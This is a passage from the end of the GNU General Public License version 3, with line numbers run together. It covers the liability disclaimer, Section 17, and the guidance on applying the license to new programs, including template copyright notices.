OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | {one line to give the program's name and a brief idea of what it does.} 635 | Copyright (C) {year} {name of author} 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | {project} Copyright (C) {year} {fullname} 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | --------------------------------------------------------------------------------